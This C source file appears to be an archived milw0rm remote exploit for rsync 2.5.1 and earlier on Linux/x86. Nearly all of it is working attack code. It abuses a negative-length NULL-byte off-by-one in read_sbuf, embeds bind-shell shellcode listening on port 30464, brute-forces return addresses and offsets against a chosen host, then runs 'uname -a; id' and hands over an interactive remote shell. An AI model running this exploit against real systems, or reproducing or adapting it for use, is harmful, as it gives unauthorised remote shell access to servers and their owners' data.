/*** 7350fuqnut - rsync <= 2.5.1 remote exploit -- linux/x86 ver.
***
*** current version 2.5.5 but bug was silently fixed it appears
*** so vuln versions still ship, maybe security implemecations
*** were not recognized.
***
*** we can write NULL bites below &line[0] by supplying negative
*** lengths. read_sbuf calls buf[len] = 0. standard NULL byte off
*** by one kungf00 from there on.
***
*** - stealth
***/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#define MAXPATHLEN 4096
#define VERSION "@RSYNCD: 26\n"
#define PORT 873
#define NULL_OFFSET -48
#define STARTNULLBRUTE -44
#define ENDNULLBRUTE -56
#define BRUTEBASE 0xbfff7777
#define INCREMENT 512
#define ALLIGN 0 /* pop byte allignment */
#define SEND "uname -a; id\n"
int open_s(char *h, int p);
int setup(int s);
int exploit(int s);
void quit(int s); /* garbage quit */
void handleshell(int closeme, int s);
void usage(char *n);
char chode[] = /* Taeho oh, port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
struct x_info {
char *h;
int p;
char *module;
int null_offset;
u_long brutebase;
int shell;
int checkvuln;
int nullbrute;
int allign;
} rsx;
int
main(int argc, char **argv)
{
char c;
int s;
u_long store;
if(argc == 1) usage(argv[0]);
rsx.h = "localhost";
rsx.p = PORT;
rsx.null_offset = NULL_OFFSET;
rsx.brutebase = BRUTEBASE;
rsx.nullbrute = 0;
rsx.allign = ALLIGN;
while((c = getopt(argc, argv, "h:p:m:o:b:Ba:")) != EOF) {
switch(c) {
case 'h':
rsx.h = optarg;
break;
case 'p':
rsx.p = atoi(optarg);
break;
case 'm':
rsx.module = optarg;
break;
case 'o':
rsx.null_offset = atoi(optarg);
break;
case 'b':
rsx.brutebase = strtoul(optarg, (char **)optarg+strlen(optarg), 16);
break;
case 'B':
rsx.nullbrute = 1;
break;
case 'a':
rsx.allign = atoi(optarg);
if(rsx.allign>4) {
fprintf(stderr, "allign > 4 !? using default\n");
rsx.allign = ALLIGN;
}
break;
default:
usage(argv[0]);
}
}
/* NULL byte brute wrap */
store = rsx.brutebase;
if(rsx.nullbrute)
for(rsx.null_offset = STARTNULLBRUTE; rsx.null_offset >= ENDNULLBRUTE; rsx.null_offset--)
{
fprintf(stderr, "\noffset: %d\n", rsx.null_offset);
/* start run -- cuten this up with some connectback shellcode */
for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
if((s = open_s(rsx.h, rsx.p)) < 0) {
fprintf(stderr, "poop..bye\n");
exit(1);
}
if(setup(s) > 0)
if(exploit(s) > 0)
handleshell(s, rsx.shell);
}
rsx.brutebase = store;
}
for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
if((s = open_s(rsx.h, rsx.p)) < 0) {
fprintf(stderr, "poop..bye\n");
exit(1);
}
if(setup(s) > 0)
if(exploit(s) > 0)
handleshell(s, rsx.shell);
}
fprintf(stderr, "No luck...bye\n");
exit(0);
}
void
quit(int s)
{
/* we just write a garbage quit to make the remote end the process */
/* very crude but who cares */
write(s, "QUIT\n", 5);
close(s);
}
int
setup(int s)
{
/* we just dump our setup info on the socket. kludge */
char out[512], *check;
long version = 0;
if(rsx.checkvuln) {
rsx.checkvuln = 0; /* just check once */
/* get version reply -- vuln check */
memset(out, '\0', sizeof(out));
read(s, out, sizeof(out)-1);
if((check = strchr(out, (int)':')) != NULL) {
version = strtoul((char *)check+1, (char **)check+3, 0);
if(version >= 26) {
fprintf(stderr, "target is not vulnerable (version: %d)\n", version);
quit(s);
exit(0);
}
}
else {
fprintf(stderr, "did not get version reply..aborting\n");
quit(s);
exit(0);
}
fprintf(stderr, "Target appears to be vulnerable..continue attack\n");
}
/* our version string */
if(write(s, VERSION, strlen(VERSION)) < 0) return -1;
/* the module we supposedly want to retrieve */
memset(out, '\0', sizeof(out));
snprintf(out, sizeof(out)-1, "%s\n", rsx.module);
if(write(s, out, strlen(out)) < 0) return -1;
if(write(s, "--server\n", 9) < 0) return -1;
if(write(s, "--sender\n", 9) < 0) return -1;
if(write(s, ".\n", 2) < 0) return -1;
/* send module name once more */
if(write(s, out, strlen(out)) < 0) return -1;
/* send newline */
if(write(s, "\n", 1) < 0) return -1;
return 1;
}
int
exploit(int s)
{
char x_buf[MAXPATHLEN], b[4];
int i;
/* sleep(15); */
memset(x_buf, 0x90, ((MAXPATHLEN/2)-strlen(chode)));
memcpy(x_buf+((MAXPATHLEN/2)-strlen(chode)), chode, strlen(chode));
/* allign our address bytes for the pop if needed */
for(i=(MAXPATHLEN/2); i<((MAXPATHLEN/2)+rsx.allign);i++)
x_buf[i] = 'x';
for(i=((MAXPATHLEN/2)+rsx.allign); i<MAXPATHLEN; i+=4)
*(long *)&x_buf[i] = rsx.brutebase;
*(int *)&b[0] = (MAXPATHLEN-1);
if(write(s, b, 4) < 0) return -1;
if(write(s, x_buf, (MAXPATHLEN-1)) < 0) return -1;
/* send NULL byte offset from &line[0] to read_sbuf() ebp */
*(int *)&b[0] = rsx.null_offset;
if(write(s, b, 4) < 0) return -1;
/* let rsync know it can go ahead and own itself now */
memset(b, '\0', 4);
if(write(s, b, 4) < 0) return -1;
/* zzz for shell setup */
usleep(50000);
/* check for our shell -- (mod this to be connectback friendly bruteforce) */
fprintf(stderr, ";");
if((rsx.shell = open_s(rsx.h, 30464)) < 0) {
if(rand() % 2)
fprintf(stderr, "P");
else
fprintf(stderr, "p");
quit(s);
return -1;
}
fprintf(stderr, "\n\nSuccess! (ret: %p offset: %d)\n\n", rsx.brutebase, rsx.null_offset);
return 1;
}
void
usage(char *n) {
fprintf(stderr,
"\nUsage: %s\n"
"\nOptions:\n"
"\t-h <rsync_host>\n"
"\t-m <module_to_request>\n"
"\nExtra options:\n"
"\t-p <rsync_port>\n"
"\t-o <null_byte_offset>\n"
"\t-a <byte_allignment_for_eip_pop>\n"
"\nBrute force options:\n"
"\t-b <0xbruteforce_base_address>\n"
"\t-B Turns on NULL byte offset bruting\n\n"
, n);
exit(0);
}
int
open_s(char *h, int p)
{
struct sockaddr_in remote;
struct hostent *iplookup;
char *ipaddress;
int sfd;
if((iplookup = gethostbyname(h)) == NULL) {
perror("gethostbyname");
return -1;
}
ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
sfd = socket(AF_INET, SOCK_STREAM, 0);
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = inet_addr(ipaddress);
remote.sin_port = htons(p);
memset(&(remote.sin_zero), '\0', 8);
if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) return -1;
return sfd;
}
void
handleshell(int closeme, int s)
{
char in[512], out[512];
fd_set fdset;
close(closeme);
if(write(s, SEND, strlen(SEND)) < 0 ) {
fprintf(stderr, "write error\n");
exit(1);
}
while(1) {
FD_ZERO(&fdset);
FD_SET(fileno(stdin), &fdset);
FD_SET(s, &fdset);
select(s+1, &fdset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &fdset)) {
memset(out, '\0', sizeof(out));
if(read(0, out, (sizeof(out)-1)) < 0) {
fprintf(stderr, "read error\n");
exit(1);
}
if(!strncmp(out, "exit", 4)) {
write(s, out, strlen(out));
quit(s);
exit(0);
}
if(write(s, out, strlen(out)) < 0) {
fprintf(stderr, "write error\n");
exit(1);
}
}
if(FD_ISSET(s, &fdset)) {
memset(in, '\0', sizeof(in));
if(read(s, in, (sizeof(in)-1)) < 0) {
fprintf(stderr, "read error\n");
exit(1);
}
fprintf(stderr, "%s", in);
}
}
}
// milw0rm.com [2002-01-01]
